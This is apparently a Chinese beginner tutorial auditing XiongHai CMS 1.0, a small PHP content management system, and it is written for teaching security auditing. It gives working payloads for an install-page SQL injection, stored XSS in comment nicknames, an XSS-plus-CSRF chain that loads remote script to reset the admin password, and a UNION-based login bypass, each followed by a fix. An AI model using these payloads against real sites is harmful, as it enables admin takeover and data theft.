入门级cms审计

简介: 熊海CMS是一款小型的内容管理系统,可以用于入门的审计学习。

0x001前言:

熊海CMS是一款小型的内容管理系统,可以用于入门的审计学习。


0x002:网站目录结构:

iseaCMS_1.0

├──admin            网站后台

├──css               网站css,js的一些静态文件

├──files              网站主页面和一些功能函数

├──images            图片

├──inc                连接数据库的一些配置文件

├──install              网站安装目录

├──seacmseditor        第三方的编辑器

├──template           网站模板

├──upload             网站文件上传目录

├──index.php     入口文件,直接包含到/files/index.php主页文件



0x003:安装处存在的sql注入:

漏洞分析:

漏洞存在的位置在安装时候的install/install.php

可以看到代码逻辑是通过判断是否有InstalLock.txt来判断是否需要安装

对传入的user参数没有经过过滤直接插入到了下面的update语句,mysql_error直接输出了报错信息,比较常见的报错注入

Payload:

1' and(updatexml(1,concat(0x7e,(select user()),0x7e),1));#

下面只需要在管理账号这一栏插入我们的payload,然后在插入的时候就会显示报错

修复建议:

可以看到设置的编码是utf-8编码的,我们进行转义

我们定义一个函数来进行转义,因为字符编码是utf-8的所以我们就可以进行转义,使用mysql_real_escape_string函数来进行一个转义从而正确的预防sql注入

0x004 前台存储型xss:

漏洞分析:

漏洞位置在files/submit.php

首先打开了session,对传入的type进行了addslashes进行转义,5-13行接受的参数没有进行过滤,如果没有进行二次过滤所以存在存储型xss,接着往下看

可以看到在35行使用了正则对输入的评论内容进行匹配, preg_match("/([\x81-\xfe][\x40-\xfe])对GBK中文编码的匹配,如果评论中不包含中文字符就会提示,接着向下看

在43-45行对输入的url进行判断,然后对Content进行了过滤,除去HTML代码然后进行了addslashes进行了转义,防止了xss的输入,但是在昵称的地方没有任何的过滤导致我们评论处在填写昵称的时候有一处存储型xss漏洞,参数是name,主要攻击目标是用户

修复建议:

使用htmlentities对输出的内容进行实体编码来进行修复

0x005修改管理员密码  存储型xss+csrf:

漏洞分析:

先看/admin/files/commentlist.php

在188行的位置会从数据库中取出来留言信息,在209-213行输出出来,这里从content表中查询出数据后没有经过任何过滤就输出在后台了,然后我们再跳到输入的地方看一下

发现输入的地方是跟之前评论处xss是一样的,这时候我们可以弹管理员的cookie进行cookie伪造进行登录

在/admin/files/manageinfo.php,看到在后台修改密码的地方只判断了俩次修改密码的地方不为空并且俩次输入的账号密码为一致的,然后在后面就会dm5进行编码后插入到我们的数据库当中去,不需要旧的密码也没有使用token

所以这里存在csrf漏洞再结合之前的xss可以打出一套组合拳修改管理员的账号密码,我们可以写一段js代码来进行修改管理员账号密码,我们只需要在远程写好js发送post数据,再使用src插入就可以了,这次的主要攻击目标是管理员。

payload:

<script src=”http://xx.xxx.xx..xx/xx.js”></script>

修复建议:

同样使用htmlentities对输出的内容进行实体编码

在修改密码的时候加上效验,添加一个原密码的验证,原密码是从数据库中取出来的password的md5,对输入的md5进行比对

0x006 万能密码:

漏洞分析:

漏洞位置admin/files/login.php

user没有做过滤直接插入到sql语句中去查询对比,正常的万能密码这样的,这显然是不同的,查看一下sql语句

Select user_id,user_type,email From users Whereuser_id=user And password=pass

我们在从数据库中查询密码的时候没有将password参数拼接在后面的sql语句中,数据库中存储的password是md5加密的,所以就要考虑是否可以进行绕过

此时user没有经过过滤直接拼接进入数据库中查询,password的md5的判断是从数据库中取出来的值和输入的值是否相同,我们可以进行伪造账号密码来进行登录

payload:



user: 1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#password:1

在第四个位置是一串md5,md5的值=1,第四个位置的md5值必须是password的md5值,此方法就等于伪造了一个管理员账号进行登录,这是正常查询管理员登录的表

使用union的方法,临时在manage下面插入临时的字段,并且添加的值是我们可控的,所以我们插入我们的payload就是通过传入新的md5加密后的password,达到绕过的效果

根据之前发现的sql注入发现此处也是存在sql注入的,就不再多说

修复建议:

对user传入的参数进行一个过滤,跟之前sql注入做的防御是一样的,在外部创建一个php文件直接include调用也可以

目录
相关文章
|
8天前
|
自然语言处理 前端开发 安全
CMS网站管理系统的优势及选择。
CMS是内容管理系统,可创建特色网站,实现内容创作、编辑、发布等,支持多用户管理、模板切换、多语言等,常用于企业、商城、论坛等,缩短建站成本和周期。
|
1月前
|
安全 API 网络安全
如何选择CMS网站管理系统来创建网站呢?
选择网站管理系统需要考虑多方面因素,如友好的操控性、扩展性、安全性以及是否适合推广。pageadmin CMS适合企业、政府等大型网站。
|
2月前
|
安全 前端开发
CMS建站系统如何选择?
现在有很多的人在建设网站的时候采用的都是cms系统,我国比较经常使用的是PageAdmin、织梦CMS、帝国系统等等不同的CMS系统使用的方向也是有所差异的,今天给大家分析一下三大CMS的优缺点。
|
4天前
|
SEO
CMS建站系统是什么?如何选择CMS建站系统?
本文对CMS建站系统进行了介绍,包括其类型、核心功能以及建站业务流程,希望帮助读者了解和选择适合自家企业的产品。
|
6天前
|
域名解析 自然语言处理 API
如何使用PageAdmin CMS网站管理系统搭建网站?
CMS(内容管理系统)是一种位于网站前台界面与后台数据库之间的软件系统,能够实现网站内容的发布、编辑、管理、维护等操作。使用PageAdmin CMS网站管理系统搭建网站,先在官网上填写相关资料,注册一个会员账户,选择模版中心选择一个...
|
19天前
|
缓存 搜索推荐 关系型数据库
CMS哪个好?如何选择CMS建站系统?
PageAdmin CMS网站管理系统是自助建站首选,响应式界面设计提高用户体验,搜索引擎排名提高。开发参数可选,广泛满足不同建站需求。
|
2月前
|
自然语言处理 关系型数据库 MySQL
免费的CMS系统有哪些?
内容管理系统(Content Management System,简称CMS) 是一种用于创建、编辑、组织和发布内容的软件系统。它提供了一个用户友好的界面,使用户可以轻松管理网站的内容,而无需具备编程或技术知识。 下面给大家介绍几款目前国内比较常用,而且发展历史比较长的免费CMS系统:
196 1
|
1月前
|
Ubuntu 关系型数据库 MySQL
如何选择适合CMS运行的服务器?
在数字互联网时代,企业与单位都需要搭建企业官网在互联网上展示自己的品牌和产品宣传。除去了传统建设公司开发网站外,使用CMS就成为常用的网站创建方式。而成功的网站除了选对CMS外,还需要考虑到搭建完CMS的服务器。今天的文章给大家介绍:如何选择CMS和服务器: 很多客户都不清楚是选择CMS还是先选择服务器?
|
2月前
|
前端开发 搜索推荐 数据库
用CMS搭建网站有什么优势
随着互联网的飞速发展,网站已经成为企业展示自身形象、推广产品以及与客户互动的关键工具、扩大市场影响力、加强客户服务、提高运营效率,并适应市场变化。通过网站,企业能够展示自身形象、产品和服务,吸引更多客户,并提供便捷的服务和沟通渠道,从而提高整体竞争力和业务效无论是大型企业、中小型公司,还是个人博主、内容创作者,几乎每个人都需要一个网站来传达信息。建立和管理网站的复杂性却让许多人望而却步。非常幸运的是:现在建站公司开发一些成熟的建站系统帮协助用户完成这个网站搭建的工作,CMS(内容管理系统)的出现,彻底改变了网站建站的高门槛工作。
|
7月前
|
缓存 监控 Linux
服务器中常用的几个资源监控工具整理
【4月更文挑战第2天】服务器中常用的几个资源监控工具整理
628 13